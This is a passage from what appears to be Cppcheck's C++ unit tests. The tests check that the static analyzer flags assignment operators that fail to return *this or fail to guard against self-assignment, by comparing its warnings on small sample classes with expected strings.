[operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) 